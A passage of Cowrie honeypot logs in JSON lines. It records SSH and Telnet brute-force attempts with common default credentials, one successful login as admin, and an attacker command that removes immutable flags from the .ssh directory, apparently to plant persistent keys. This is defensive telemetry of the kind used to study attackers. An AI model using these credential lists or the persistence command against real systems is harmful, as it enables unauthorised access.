0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:36.175754Z","src_ip":"45.156.87.204","session":"abbf156b57dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"sam","message":"login attempt [sam/sam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:36.454227Z","src_ip":"94.26.106.229","session":"8b11dbb28486","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"123456","message":"login attempt [sonar/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:36.625086Z","src_ip":"45.156.87.204","session":"abbf156b57dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:37.540244Z","src_ip":"94.26.106.229","session":"8b11dbb28486","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00119614601135,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:37.553616Z","src_ip":"152.42.224.71","session":"47c4187dc9cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:37.710693Z","src_ip":"45.156.87.204","session":"abbf156b57dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.12193489074707,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:38.410091Z","src_ip":"152.42.224.71","session":"80d30e760b53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":50474,"dst_ip":"159.203.135.109","dst_port":22,"session":"d51abb69dcf8","protocol":"ssh","message":"New connection: 94.26.106.229:50474 (159.203.135.109:22) [session: d51abb69dcf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:38.594056Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:38.598774Z","src_ip":"94.26.106.229","session":"d51abb69dcf8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:38.683043Z","src_ip":"94.26.106.229","session":"d51abb69dcf8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kelvin","password":"kelvin","message":"login attempt [kelvin/kelvin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:38.936895Z","src_ip":"94.26.106.229","session":"d51abb69dcf8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":45212,"dst_ip":"159.203.135.109","dst_port":22,"session":"93753617a21b","protocol":"ssh","message":"New connection: 45.156.87.204:45212 (159.203.135.109:22) [session: 93753617a21b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:39.862009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:39.866898Z","src_ip":"45.156.87.204","session":"93753617a21b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:39.952279Z","src_ip":"45.156.87.204","session":"93753617a21b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:40.023472Z","src_ip":"94.26.106.229","session":"d51abb69dcf8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111","message":"login attempt [root/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:40.200057Z","src_ip":"45.156.87.204","session":"93753617a21b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":50488,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf2806b5cb8d","protocol":"ssh","message":"New connection: 94.26.106.229:50488 (159.203.135.109:22) [session: bf2806b5cb8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:40.785619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:40.790509Z","src_ip":"94.26.106.229","session":"bf2806b5cb8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:40.874248Z","src_ip":"94.26.106.229","session":"bf2806b5cb8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:40.888421Z","src_ip":"47.237.167.49","session":"acba01362820","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":27.962711095809937,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:41.074591Z","src_ip":"152.42.224.71","session":"98d829b66adb","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456.","message":"login attempt [root/Aa123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:41.125002Z","src_ip":"94.26.106.229","session":"bf2806b5cb8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:41.285712Z","src_ip":"45.156.87.204","session":"93753617a21b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.63573503494263,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:41.489647Z","src_ip":"152.42.224.71","session":"c73f128e9281","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:42.253213Z","src_ip":"94.26.106.229","session":"bf2806b5cb8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00165319442749,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:42.579340Z","src_ip":"152.42.224.71","session":"2862ec2fc83e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":51278,"dst_ip":"159.203.135.109","dst_port":22,"session":"312bf4532ba7","protocol":"ssh","message":"New connection: 45.156.87.204:51278 (159.203.135.109:22) [session: 312bf4532ba7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:43.381039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:43.385598Z","src_ip":"45.156.87.204","session":"312bf4532ba7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:43.468360Z","src_ip":"45.156.87.204","session":"312bf4532ba7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":51848,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff54f89a0d5c","protocol":"ssh","message":"New connection: 94.26.106.229:51848 (159.203.135.109:22) [session: ff54f89a0d5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:43.486678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:43.492015Z","src_ip":"94.26.106.229","session":"ff54f89a0d5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:43.580755Z","src_ip":"94.26.106.229","session":"ff54f89a0d5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"12345","message":"login attempt [user1/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:43.717670Z","src_ip":"45.156.87.204","session":"312bf4532ba7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:43.873655Z","src_ip":"94.26.106.229","session":"ff54f89a0d5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:44.803445Z","src_ip":"45.156.87.204","session":"312bf4532ba7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.155.125.131","src_port":43190,"dst_ip":"159.203.135.109","dst_port":22,"session":"a5a65e52ea68","protocol":"ssh","message":"New connection: 124.155.125.131:43190 (159.203.135.109:22) [session: a5a65e52ea68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:44.861089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:44.866336Z","src_ip":"124.155.125.131","session":"a5a65e52ea68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:44.968837Z","src_ip":"94.26.106.229","session":"ff54f89a0d5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:45.045017Z","src_ip":"124.155.125.131","session":"a5a65e52ea68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":51854,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c6d843b1b65","protocol":"ssh","message":"New connection: 94.26.106.229:51854 (159.203.135.109:22) [session: 2c6d843b1b65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:45.646399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:45.651685Z","src_ip":"94.26.106.229","session":"2c6d843b1b65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:45.735696Z","src_ip":"94.26.106.229","session":"2c6d843b1b65","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin@2023","message":"login attempt [admin/admin@2023] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:45.790900Z","src_ip":"124.155.125.131","session":"a5a65e52ea68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mauricio","password":"123456","message":"login attempt [mauricio/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:45.986202Z","src_ip":"94.26.106.229","session":"2c6d843b1b65","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:46.200788Z","src_ip":"124.155.125.131","session":"a5a65e52ea68","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:46.204083Z","src_ip":"124.155.125.131","session":"a5a65e52ea68","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:46.208066Z","src_ip":"124.155.125.131","session":"a5a65e52ea68","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:46.563452Z","src_ip":"124.155.125.131","session":"a5a65e52ea68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38956,"dst_ip":"10.17.0.5","dst_port":23,"session":"abeb94624748","protocol":"telnet","message":"New connection: 152.42.224.71:38956 (10.17.0.5:23) [session: abeb94624748]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:46.618685Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:46.792621Z","src_ip":"124.155.125.131","session":"a5a65e52ea68","protocol":"ssh"}
